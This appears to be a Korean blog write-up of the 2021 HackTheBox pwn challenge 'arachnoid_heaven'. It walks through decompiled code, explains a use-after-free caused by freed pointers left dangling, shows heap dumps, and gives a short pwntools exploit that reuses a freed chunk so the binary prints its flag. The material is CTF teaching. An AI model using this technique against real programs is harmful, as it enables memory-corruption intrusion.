CTF 풀지못한 문제 - pwn
2021 HackTheBox - arachnoid_heaven
Rasser
2021. 12. 20. 12:12
요약
UAF를 이용하는 문제
분석
create_arachnoid
ppvVar1 = (void **)malloc(0x10);
pvVar2 = malloc(0x28);
*ppvVar1 = pvVar2;
pvVar2 = malloc(0x28);
ppvVar1[1] = pvVar2;
printf("%s","\nName: ");
read(0,*ppvVar1,20);
strcpy((char *)ppvVar1[1],defaultCode);
lVar3 = (long)(int)arachnoidCount;
pvVar2 = ppvVar1[1];
*(void **)(arachnoids + lVar3 * 0x80) = *ppvVar1;
*(void **)(arachnoids + lVar3 * 0x80 + 8) = pvVar2;
printf("Arachnoid Index: %d\n\n",(ulong)arachnoidCount);
arachnoidCount = arachnoidCount + 1;
1. malloc을 이용하여 메모리 할당
2. malloc의 반환 값(청크 주소)를 특정 주소로 넣어준다
3. 여러 값 할당
delete_arachnoid
if (((int)uVar1 < 0) || (arachnoidCount <= (int)uVar1)) {
/* uaf? */
puts("Invalid Index!");
}
else {
free(*(void **)(arachnoids + lVar2));
free(*(void **)(arachnoids + lVar2 + 8));
}
1. 메모리를 free 해준다. 이때 free를 하고 해당 주소를 NULL로 초기화 해주지 않아 UAF가 발생하게 된다.
obtain_arachnoid
puts("Arachnoid: ");
read(0,local_12,2);
iVar1 = atoi(local_12);
if ((iVar1 < 0) || (arachnoidCount <= iVar1)) {
puts("Invalid Index!");
}
else {
iVar1 = strncmp(*(char **)(arachnoids + (long)iVar1 * 0x80 + 8),"sp1d3y",6);
if (iVar1 == 0) {
system("cat flag.txt");
}
else {
puts("Unauthorised!");
}
}
1. 특정 주소의 값이 "sp1d3y"이면, flag를 출력한다.
Exploit
create 함수 호출 후, "A"*8 후 청크 상태
gef➤ heap chunks
Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE)
[0x0000555555603010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x5555556032a0, size=0x20, flags=PREV_INUSE)
[0x00005555556032a0 c0 32 60 55 55 55 00 00 f0 32 60 55 55 55 00 00 .2`UUU...2`UUU..]
Chunk(addr=0x5555556032c0, size=0x30, flags=PREV_INUSE)
[0x00005555556032c0 41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 AAAAAAAA........]
Chunk(addr=0x5555556032f0, size=0x30, flags=PREV_INUSE)
[0x00005555556032f0 62 61 64 00 00 00 00 00 00 00 00 00 00 00 00 00 bad.............]
Chunk(addr=0x555555603320, size=0x20cf0, flags=PREV_INUSE) ← top chunk

UAF가 터지는거 같으니 DELETE 함수 호출 후
gef➤ heap chunks
Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE)
[0x0000555555603010 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x5555556032a0, size=0x20, flags=PREV_INUSE)
[0x00005555556032a0 c0 32 60 55 55 55 00 00 f0 32 60 55 55 55 00 00 .2`UUU...2`UUU..]
Chunk(addr=0x5555556032c0, size=0x30, flags=PREV_INUSE)
[0x00005555556032c0 00 00 00 00 00 00 00 00 10 30 60 55 55 55 00 00 .........0`UUU..]
Chunk(addr=0x5555556032f0, size=0x30, flags=PREV_INUSE)
[0x00005555556032f0 62 61 64 00 00 00 00 00 00 00 00 00 00 00 00 00 bad.............]
Chunk(addr=0x555555603320, size=0x20cf0, flags=PREV_INUSE) ← top chunk

메모리 구조를 보자.
gef➤ x/40gx 0x555555603290
0x555555603290: 0x0000000000000000 0x0000000000000021
0x5555556032a0: 0x00005555556032c0 0x00005555556032f0
0x5555556032b0: 0x0000000000000000 0x0000000000000031
0x5555556032c0: 0x0000000000000000 0x0000555555603010
0x5555556032d0: 0x0000000000000000 0x0000000000000000
0x5555556032e0: 0x0000000000000000 0x0000000000000031
0x5555556032f0: 0x00005555556032c0 0x0000555555603010
0x555555603300: 0x0000000000000000 0x0000000000000000
0x555555603310: 0x0000000000000000 0x0000000000020cf1
free 이후 32c0에 있는 "A"*8이 사라지고, bad가 있던 32f0에 32c0의 주소가 들어가 있다.
그리고 view를 이용하여 출력했을때 32c0의 값이 출력됨을 볼 수 있다.

그 후, 다시 create를 호출하여 값(hello)을 넣어주면, UAF에 의해 메모리가 재사용되고, code 부분에 입력한 hello가 들어가게 된다.
따라서 create -> delete -> create(sp1d3y)를 넣어준다면 code에 sp1d3y가 들어가게 되고, obtain함수를 호출하여 0번째 Arachnoid를 넣어준다면 flag가 출력될 것이다.

from pwn import *
context.arch="amd64"
p = process('./ara')
e = ELF('./ara')
def create(name):
p.sendlineafter('> ', '1')
p.sendafter(b'Name: ', name)
def delete(index):
p.sendlineafter('> ', '2')
p.sendlineafter('Index: ', str(index))
def view(index):
p.sendlineafter('> ', '3')
def obtiain(arch):
p.sendlineafter('> ', '4')
p.sendlineafter(b'Arachnoid:', str(arch))
create(b'hello')
delete(0)
create(b'sp1d3y')
obtiain(0)
p.interactive()